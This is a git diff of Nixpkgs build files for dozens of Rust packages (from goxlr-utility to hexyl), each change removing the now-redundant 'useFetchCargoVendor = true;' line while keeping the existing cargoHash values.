index 2d1cf6eef7ef..a000e856fa9e 100644
--- a/pkgs/by-name/go/goxlr-utility/package.nix
+++ b/pkgs/by-name/go/goxlr-utility/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Z/VqQKmfzqd1htMlXU8sDkOSw2xczb3tG53LVC0MZhM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tSlFMMZWsyZBXBeEW64s0eBt/qrAREfOpfxAgcTK4XQ=";
 
   buildInputs = [
diff --git a/pkgs/by-name/gp/gpauth/package.nix b/pkgs/by-name/gp/gpauth/package.nix
index a504f94d7693..da8b6334089e 100644
--- a/pkgs/by-name/gp/gpauth/package.nix
+++ b/pkgs/by-name/gp/gpauth/package.nix
@@ -20,7 +20,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   buildAndTestSubdir = "apps/gpauth";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-8LSGuRnWRWeaY6t25GdZ2y4hGIJ+mP3UBXRjcvPuD6U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gp/gpclient/package.nix b/pkgs/by-name/gp/gpclient/package.nix
index f6d62b87eb20..f319fd0e1345 100644
--- a/pkgs/by-name/gp/gpclient/package.nix
+++ b/pkgs/by-name/gp/gpclient/package.nix
@@ -25,7 +25,7 @@ rustPlatform.buildRustPackage rec {
   inherit (gpauth) meta;
 
   buildAndTestSubdir = "apps/gpclient";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-8LSGuRnWRWeaY6t25GdZ2y4hGIJ+mP3UBXRjcvPuD6U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gp/gping/package.nix b/pkgs/by-name/gp/gping/package.nix
index 3724f1ed6de3..81a2c7e64dfb 100644
--- a/pkgs/by-name/gp/gping/package.nix
+++ b/pkgs/by-name/gp/gping/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RTjYgsi3PmmPufdTcxZr+Laipa32Kkq1M1eHSAJVWZQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b7GsaAaCYz3ohE4BUHlvexJ41L0OhbcWkBo61X4FKzQ=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/gp/gptcommit/package.nix b/pkgs/by-name/gp/gptcommit/package.nix
index 56e8c8fb0491..59f94ae5064c 100644
--- a/pkgs/by-name/gp/gptcommit/package.nix
+++ b/pkgs/by-name/gp/gptcommit/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-MB78QsJA90Au0bCUXfkcjnvfPagTPZwFhFVqxix+Clw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PFpc9z45k0nlWEyjDDKG/U8V7EwR5b8rHPV4CmkRers=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gp/gptman/package.nix b/pkgs/by-name/gp/gptman/package.nix
index 96f6b2009688..ce9324a86bfd 100644
--- a/pkgs/by-name/gp/gptman/package.nix
+++ b/pkgs/by-name/gp/gptman/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ebV61EilGggix6JSN/MW4Ka0itkSpvikLDSO005TTYY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v27tKdBPrtRwpNZRjyv8N7BpxOz6ZgFHaa5pe51YrTI=";
 
   buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/by-name/gp/gpustat/package.nix b/pkgs/by-name/gp/gpustat/package.nix
index 40e8417b2d58..ba82ab03330a 100644
--- a/pkgs/by-name/gp/gpustat/package.nix
+++ b/pkgs/by-name/gp/gpustat/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-M9P/qfw/tp9ogkNOE3b2fD2rGFnii1/VwmqJHqXb7Mg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8uD4zc33CeImvMW0mOTqws4S2xXQ3Ff9nPxocof0Xm4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gq/gql/package.nix b/pkgs/by-name/gq/gql/package.nix
index a8a37f7028dd..b255b4252922 100644
--- a/pkgs/by-name/gq/gql/package.nix
+++ b/pkgs/by-name/gq/gql/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/cTU+LBoXnMzNKd18nYoGkEN/cfUVQIDFBFQNrmdWuM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4sdbTcDDvA7MYMiTKKAWg0sYnBPeVj3eBCo7HTZYkUY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gr/grafana-to-ntfy/package.nix b/pkgs/by-name/gr/grafana-to-ntfy/package.nix
index d269f75c44f8..400d2b3d6365 100644
--- a/pkgs/by-name/gr/grafana-to-ntfy/package.nix
+++ b/pkgs/by-name/gr/grafana-to-ntfy/package.nix
@@ -15,8 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-GO9VE9wymRk+QKGFyDpd0wS9GCY3pjpFUe37KIcnKxc=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-w4HSxdihElPz0q05vWjajQ9arZjAzd82L0kEKk1Uk8s=";
 
   meta = {
diff --git a/pkgs/by-name/gr/graphql-client/package.nix b/pkgs/by-name/gr/graphql-client/package.nix
index 818e27aadeba..950e099493ee 100644
--- a/pkgs/by-name/gr/graphql-client/package.nix
+++ b/pkgs/by-name/gr/graphql-client/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eQ+7Ru3au/rDQZtwFDXYyybqC5uFtNBs6cEzX2QSFI4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GPUOIDKlxk2P+cPmOPlpz/EM9TCXvHo41+1fQ0xAqto=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gr/grass-sass/package.nix b/pkgs/by-name/gr/grass-sass/package.nix
index 753be458a8ae..e578318e7296 100644
--- a/pkgs/by-name/gr/grass-sass/package.nix
+++ b/pkgs/by-name/gr/grass-sass/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uk4XLF0QsH9Nhz73PmdSpwhxPdCh+DlNNqtbJtLWgNI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2wJBYTOfaPBm+24ABl1cOs4W7UsRPYn70PSFDRRMCyU=";
 
   # tests require rust nightly
diff --git a/pkgs/by-name/gr/grcov/package.nix b/pkgs/by-name/gr/grcov/package.nix
index 0c3b55f9ebc9..f73b64f76c7e 100644
--- a/pkgs/by-name/gr/grcov/package.nix
+++ b/pkgs/by-name/gr/grcov/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-e3RQn6wKvVm40UK8ZlgIi2gRS9eEFBnEXdmXtCgv0Go=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v4laGVbWmK8WFJXX5ChtViyKyMtmwpehSgNG6F31Mn0=";
 
   # tests do not find grcov path correctly
diff --git a/pkgs/by-name/gr/grex/package.nix b/pkgs/by-name/gr/grex/package.nix
index 9cc22a265e50..081942641fc2 100644
--- a/pkgs/by-name/gr/grex/package.nix
+++ b/pkgs/by-name/gr/grex/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Ut2H2H66XN1+wHpYivnuhil21lbd7bwIcIcMyIimdis=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OsK6X7qwMMQ1FK3JE98J2u6pn6AixE8izFmxUVDs5GM=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/gr/gridlock/package.nix b/pkgs/by-name/gr/gridlock/package.nix
index 5f609d110b22..8edafc4b9b82 100644
--- a/pkgs/by-name/gr/gridlock/package.nix
+++ b/pkgs/by-name/gr/gridlock/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-I4NGfgNX79ZhWXDeUDJyDzP2GxcNhHhazVmmmPlz5js=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CflDi1sjPBX+FOj74DWYKcg0O8Q7bnCFhzEnCrRi0g8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gr/grip-grab/package.nix b/pkgs/by-name/gr/grip-grab/package.nix
index 3c7bff4d3f76..4d8d234ef980 100644
--- a/pkgs/by-name/gr/grip-grab/package.nix
+++ b/pkgs/by-name/gr/grip-grab/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-e7duLL4tjW+11jXUqU6sqoKTAPGkH81iDCfjtNcnd4I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i/wqlM4hoDPa9dmbSU5VVCYA4UdI5fI3EPadOj+/+LE=";
 
   doCheck = false;
diff --git a/pkgs/by-name/gr/grpc-health-check/package.nix b/pkgs/by-name/gr/grpc-health-check/package.nix
index addabeb57fb5..6208fc1479de 100644
--- a/pkgs/by-name/gr/grpc-health-check/package.nix
+++ b/pkgs/by-name/gr/grpc-health-check/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-nKut9c1HHIacdRcmvlXe0GrtkgCWN6sxJ4ImO0CIDdo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NdwQ9gctO0Thaes2T5E9lo6dZ00+FoA3IO553g+NJh0=";
 
   nativeBuildInputs = [ protobuf ];
diff --git a/pkgs/by-name/gu/gurk-rs/package.nix b/pkgs/by-name/gu/gurk-rs/package.nix
index c58d34f1765c..6a9852570abf 100644
--- a/pkgs/by-name/gu/gurk-rs/package.nix
+++ b/pkgs/by-name/gu/gurk-rs/package.nix
@@ -28,8 +28,6 @@ rustPlatform.buildRustPackage rec {
     rm .cargo/config.toml
   '';
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-PCeiJYeIeMgKoQYiDI6DPwNgJcSxw4gw6Ra1YmqsNys=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gy/gyroflow/package.nix b/pkgs/by-name/gy/gyroflow/package.nix
index 20aefb13e919..d7088b17f9e3 100644
--- a/pkgs/by-name/gy/gyroflow/package.nix
+++ b/pkgs/by-name/gy/gyroflow/package.nix
@@ -34,8 +34,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RYTT62u39g4n9++xMlhJala6U0uIn+btGOxp9khEAnU=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-30XSltaw1jzXPpobh0WJ+aIRbdf24nYgnbt7yzuS2gs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/habitat/package.nix b/pkgs/by-name/ha/habitat/package.nix
index e33b1c62e48e..afe502934062 100644
--- a/pkgs/by-name/ha/habitat/package.nix
+++ b/pkgs/by-name/ha/habitat/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+5If4veDOGTTIhYxhAiq1cC4Sy6vAmjX5hrmUmpGlFU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AI7Ij9F/K/chjxQUC0SnBsQQPLlVS6esa5LJAGRS9YI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/hackgregator/package.nix b/pkgs/by-name/ha/hackgregator/package.nix
index 21653e4697c6..296304020b9b 100644
--- a/pkgs/by-name/ha/hackgregator/package.nix
+++ b/pkgs/by-name/ha/hackgregator/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-RE0x4YWquWAcQzxGk9zdNjEp1pijrBtjV1EMBu9c5cs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XI0dpW0BQoTgw7rCNTA3Imo5tU1eMqLvIHyqQD3sC6Q=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/hadolint-sarif/package.nix b/pkgs/by-name/ha/hadolint-sarif/package.nix
index 3ec435ccb785..e1d042428bac 100644
--- a/pkgs/by-name/ha/hadolint-sarif/package.nix
+++ b/pkgs/by-name/ha/hadolint-sarif/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7xvo194lCQpDtLgwX6rZEkwG3hYTp5czjw4GrEaivsI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-R4fGlo65/suNozEzRaQ3k6Ys4CMBheT2+rHZZZuIstM=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ha/halloy/package.nix b/pkgs/by-name/ha/halloy/package.nix
index c91836ad164c..307e76724c96 100644
--- a/pkgs/by-name/ha/halloy/package.nix
+++ b/pkgs/by-name/ha/halloy/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ijSUGiAowxSqYwH3OxSWiGvm99n88ETJxAFn5x4m/BE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-j4lx3sSQZ7BKl+d5nFJQkMhgQWjn0xkNNCWMlbKLwVQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/halp/package.nix b/pkgs/by-name/ha/halp/package.nix
index 3264ff6b785c..c339cdaffd9f 100644
--- a/pkgs/by-name/ha/halp/package.nix
+++ b/pkgs/by-name/ha/halp/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-tJ95rvYjqQn0ZTlEdqfs/LbyfBP7PqnevxX8b1VfokA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sJdZjTzfawwBK8KxQP7zvn+kByCMSxrrQjY1t9RWmhU=";
 
   patches = [
diff --git a/pkgs/by-name/ha/hamtransfer/package.nix b/pkgs/by-name/ha/hamtransfer/package.nix
index a8e25c4c5e7c..9a551a646d5a 100644
--- a/pkgs/by-name/ha/hamtransfer/package.nix
+++ b/pkgs/by-name/ha/hamtransfer/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-yZwbFjs+mnTbU+75dwRhVjvXXoHQuzgE9GlliUQZV1s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/fsK8zgoq819vdHTK9GwzzgyP1ZNhQ78yKai5783XS8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/handlr-regex/package.nix b/pkgs/by-name/ha/handlr-regex/package.nix
index 9d125e0d7c9d..c7e654b65b91 100644
--- a/pkgs/by-name/ha/handlr-regex/package.nix
+++ b/pkgs/by-name/ha/handlr-regex/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZQAUqR0u+2kBLGyeT7qTcfwF87LY2qRClZ0T3WH78+w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mTb4K2/JNoo1A7AyYapgOhz4oOgJrWftdyDnWh4Bgto=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/handlr/package.nix b/pkgs/by-name/ha/handlr/package.nix
index 4c573f30d86e..a076ded45a19 100644
--- a/pkgs/by-name/ha/handlr/package.nix
+++ b/pkgs/by-name/ha/handlr/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-wENhlUBwfNg/r7yMKa1cQI1fbFw+qowwK8EdO912Yys=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/Kk2vuFkgtHarLrjqc5PkRZL2pV1Y7Gb02mWwtaVpDI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/hanko/package.nix b/pkgs/by-name/ha/hanko/package.nix
index 14ad1edaaf8d..600a4ec6a6ec 100644
--- a/pkgs/by-name/ha/hanko/package.nix
+++ b/pkgs/by-name/ha/hanko/package.nix
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage rec {
     tag = "v${version}";
     hash = "sha256-gytnUta/sNa8vJMvVS/DMwRc4R/8rmOnEfBKEjRpfGs=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-UHA7NI/LtyY8ucj+PavKdqym8o5HtGUD7+60UYnGohM=";
 
   passthru = {
diff --git a/pkgs/by-name/ha/harmonia/package.nix b/pkgs/by-name/ha/harmonia/package.nix
index 0d296afd0c47..b7f2d6553d19 100644
--- a/pkgs/by-name/ha/harmonia/package.nix
+++ b/pkgs/by-name/ha/harmonia/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-Ch7CBPwSKZxCmZwFunNCA8E74TcOWp9MLbhe3/glQ6w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7HZoXNL7nf6NUNnh6gzXsZ2o4eeEQL7/KDdIcbh7/jM=";
 
   doCheck = false;
diff --git a/pkgs/by-name/ha/harper/package.nix b/pkgs/by-name/ha/harper/package.nix
index fbbcc30f7a66..80c4cae705f3 100644
--- a/pkgs/by-name/ha/harper/package.nix
+++ b/pkgs/by-name/ha/harper/package.nix
@@ -17,7 +17,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   buildAndTestSubdir = "harper-ls";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-XVC2xgUwazYXVp5sx6kA+aopd9m38XlbgsLnb0D92kg=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ha/hatsu/package.nix b/pkgs/by-name/ha/hatsu/package.nix
index 4d70666e56eb..2b864119dc71 100644
--- a/pkgs/by-name/ha/hatsu/package.nix
+++ b/pkgs/by-name/ha/hatsu/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mqs26srbEkGeQzeF4OdqI7o18Ajs+mmAXGLlVfS52sk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5c6boVdq0XXbtVHqmIGoxJGQRh8lvn2jbmALPuOSMs4=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ha/havn/package.nix b/pkgs/by-name/ha/havn/package.nix
index 17d5da0a683c..4e37a31b2d94 100644
--- a/pkgs/by-name/ha/havn/package.nix
+++ b/pkgs/by-name/ha/havn/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-SXsCJzKfm77/IH3H7L5STylusmlN9DN4xd12Vt6L3TM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SwqajiyYrN0VTGtQo9+Tux8sBvEmWzOQQknQ9zTQ0hY=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ha/hawkeye/package.nix b/pkgs/by-name/ha/hawkeye/package.nix
index 2dc04ad5a976..26b90a415483 100644
--- a/pkgs/by-name/ha/hawkeye/package.nix
+++ b/pkgs/by-name/ha/hawkeye/package.nix
@@ -16,7 +16,6 @@ rustPackages.rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-reeNsnWvn7sSfyqjGIk8jFnv8HaEBJsqitmNbRa9eTM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vvAbdY6C/cCiDu4hl4AL3Gh+TrbC93rn/l6NzgAsFuo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ha/hayabusa/package.nix b/pkgs/by-name/ha/hayabusa/package.nix
index 807f27e719e8..95cfcb1cb8be 100644
--- a/pkgs/by-name/ha/hayabusa/package.nix
+++ b/pkgs/by-name/ha/hayabusa/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-e2zoVIhxcE9cUypi8Uzz3YZe2JvIaEVuWOGpqHVtxn8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wWJIZRiDK32uGroIG36QvRSvPw18nFGfp7OI7VNhCWE=";
 
   enableParallelBuilding = true;
diff --git a/pkgs/by-name/ha/hayagriva/package.nix b/pkgs/by-name/ha/hayagriva/package.nix
index 5ecfdfa22a9c..d974079a7a58 100644
--- a/pkgs/by-name/ha/hayagriva/package.nix
+++ b/pkgs/by-name/ha/hayagriva/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JZfkYrb4Gn6oP+kcFj7kC10r1aSddigGZPRx18pr5Gg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2KlZTOp78HITJMRLNzw1bTUQSYeg5SmquRJWwwG3Xfw=";
 
   buildFeatures = [ "cli" ];
diff --git a/pkgs/by-name/ha/haylxon/package.nix b/pkgs/by-name/ha/haylxon/package.nix
index 36ee26365a18..820b8e838de7 100644
--- a/pkgs/by-name/ha/haylxon/package.nix
+++ b/pkgs/by-name/ha/haylxon/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zAqYaPtbXqC1YFzCL8EwE1HhuSqVl5lAfnAftwBvnoE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cKYHC8qz81P4xtehGQIvNH/g/pa90IJQbKz0RM9tjws=";
 
   meta = {
diff --git a/pkgs/by-name/hc/hck/package.nix b/pkgs/by-name/hc/hck/package.nix
index 906370d04b4b..d7fd83d9888f 100644
--- a/pkgs/by-name/hc/hck/package.nix
+++ b/pkgs/by-name/hc/hck/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XnkLKslZY2nvjO5ZeTIBJ0Y47/JPhfIS/F5KKqm5iwI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NKyBC/kD2tq61su7tUsSPQ2Rr4YBYUsotL55aCoFNGw=";
 
   nativeBuildInputs = [ cmake ];
diff --git a/pkgs/by-name/hd/hddfancontrol/package.nix b/pkgs/by-name/hd/hddfancontrol/package.nix
index d42f7ef8d4ba..2201946b33c0 100644
--- a/pkgs/by-name/hd/hddfancontrol/package.nix
+++ b/pkgs/by-name/hd/hddfancontrol/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-GdvGFNmarLxtO6BoZ8PktVvAiKIxu4FdZWCJeVtW/fI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1GPct+CabVE8/tMpWsQ3/XRJQkcAmS6UDNuz5c/Oewo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hd/hdr10plus_tool/package.nix b/pkgs/by-name/hd/hdr10plus_tool/package.nix
index d48a20b59b72..550dd59c3c7c 100644
--- a/pkgs/by-name/hd/hdr10plus_tool/package.nix
+++ b/pkgs/by-name/hd/hdr10plus_tool/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-eueB+ZrOrnySEwUpCTvC4qARCsDcHJhm088XepLTlOE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3D0HjDtKwYoi9bpQnosC/TPNBjfiWi5m1CH1eGQpGg0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/he/headphones-toolbox/package.nix b/pkgs/by-name/he/headphones-toolbox/package.nix
index 876717323add..d318822b69e2 100644
--- a/pkgs/by-name/he/headphones-toolbox/package.nix
+++ b/pkgs/by-name/he/headphones-toolbox/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage (rec {
     hash = "sha256-Ln5U0KKsKm6ZLViZIWfBiBjm/mQNEIxaj4nTR55PcRg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VgCxYYNBV45sTzouS5NE7nOUViPj0gJO7DSKlJSAT4U=";
   cargoRoot = "src-tauri";
   buildAndTestSubdir = cargoRoot;
diff --git a/pkgs/by-name/he/heatseeker/package.nix b/pkgs/by-name/he/heatseeker/package.nix
index 7843e5f8660e..9b5c58169cb3 100644
--- a/pkgs/by-name/he/heatseeker/package.nix
+++ b/pkgs/by-name/he/heatseeker/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-SU5HLAFA7IHnVhsmVtxskteeKKIEvvVSqHIeEk5BkfA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1DquXOdtSGXSU9bYzSW1J3ElpUIYB71NVBcGxnREy/k=";
 
   # https://github.com/rschmitt/heatseeker/issues/42
diff --git a/pkgs/by-name/he/hebbot/package.nix b/pkgs/by-name/he/hebbot/package.nix
index abad3b0a0492..2b1ce6e5438d 100644
--- a/pkgs/by-name/he/hebbot/package.nix
+++ b/pkgs/by-name/he/hebbot/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-y+KpxiEzVAggFoPvTOy0IEmAo2V6mOpM0VzEScUOtsM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xRTl6Z6sn44yaEIFxG2vVKlbruDmOS2CdPZeVmWYOoA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/he/heh/package.nix b/pkgs/by-name/he/heh/package.nix
index b2c50a52c8ce..269797d7cfcd 100644
--- a/pkgs/by-name/he/heh/package.nix
+++ b/pkgs/by-name/he/heh/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eqWBTylvXqGhWdSGHdTM1ZURSD5pkUBoBOvBJ5zmJ7w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Sk/eL5Pza9L8GLBxqL9SqMT7KDWZenMjV+sGYaWUnzo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/he/heliocron/package.nix b/pkgs/by-name/he/heliocron/package.nix
index f0bf7a9e693f..b4c2dc2c6103 100644
--- a/pkgs/by-name/he/heliocron/package.nix
+++ b/pkgs/by-name/he/heliocron/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5rzFz29Bpy2GR6bEt2DdCq9RtpdcY3SK/KnZrBrHUvk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-as1rMyLqK0Z+UrO6B7Fzn2nNQM0xRrLoEPd2WlANxe8=";
 
   meta = {
diff --git a/pkgs/by-name/he/helix/package.nix b/pkgs/by-name/he/helix/package.nix
index f5f9cc80a68a..930e276c2070 100644
--- a/pkgs/by-name/he/helix/package.nix
+++ b/pkgs/by-name/he/helix/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     stripRoot = false;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JZwURUMUnwc3tzAsN7NJCE8106c/4VgZtHHA3e/BsXs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/he/hex/package.nix b/pkgs/by-name/he/hex/package.nix
index b85d1d3836e8..421035d0d690 100644
--- a/pkgs/by-name/he/hex/package.nix
+++ b/pkgs/by-name/he/hex/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YctXDhCMJvDQLPsuhzdyYDUIlFE2vKltNtrFFeE7YE8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3lrNZyQVP+gswbF+pqQmVIHg3bjiJ22y87PtTHDwIXs=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/he/hexdino/package.nix b/pkgs/by-name/he/hexdino/package.nix
index 73d8627ef2ca..5b87f563b56e 100644
--- a/pkgs/by-name/he/hexdino/package.nix
+++ b/pkgs/by-name/he/hexdino/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-glbyftCJiP0/5trW7DOcVCU2q4ZH3zFK96eyGuYR8eY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NfVtNoTDGx3MGOe+bUOCgjSs8ZTfxMSCTp09sXOfUPs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/he/hexpatch/package.nix b/pkgs/by-name/he/hexpatch/package.nix
index 22b7ad94f8b6..03783dec6532 100644
--- a/pkgs/by-name/he/hexpatch/package.nix
+++ b/pkgs/by-name/he/hexpatch/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xeHOViakCRMXQqmuUCeekL0tyYyh61OnU0zDk767NPU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3eaEgzGVSz6MjNqRGjzP8GoOZ/3eYOkI4Gd6+n+6vDg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/he/hextazy/package.nix b/pkgs/by-name/he/hextazy/package.nix
index 97d91397b168..9e0f8d86e041 100644
--- a/pkgs/by-name/he/hextazy/package.nix
+++ b/pkgs/by-name/he/hextazy/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6G0mD55BLMfqpgz1wtQBsAfGKlRcVEYJAPQJ3z8Yxnw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1i0nngfqF4R/ILbNHrCW1NIEFTfQ5nRhjdKy7uebPi8=";
 
   meta = {
diff --git a/pkgs/by-name/he/hexyl/package.nix b/pkgs/by-name/he/hexyl/package.nix
index ff167780c882..34f83d34ae67 100644
--- a/pkgs/by-name/he/hexyl/package.nix
+++ b/pkgs/by-name/he/hexyl/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TmFvv+jzOSM8kKCxBbUoDsUjKRPTplhWheVfIjS5nsY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QjQoGtLF5BAxWFiLZZYCpwrYCdiVfvG/lAukCNZGsec=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
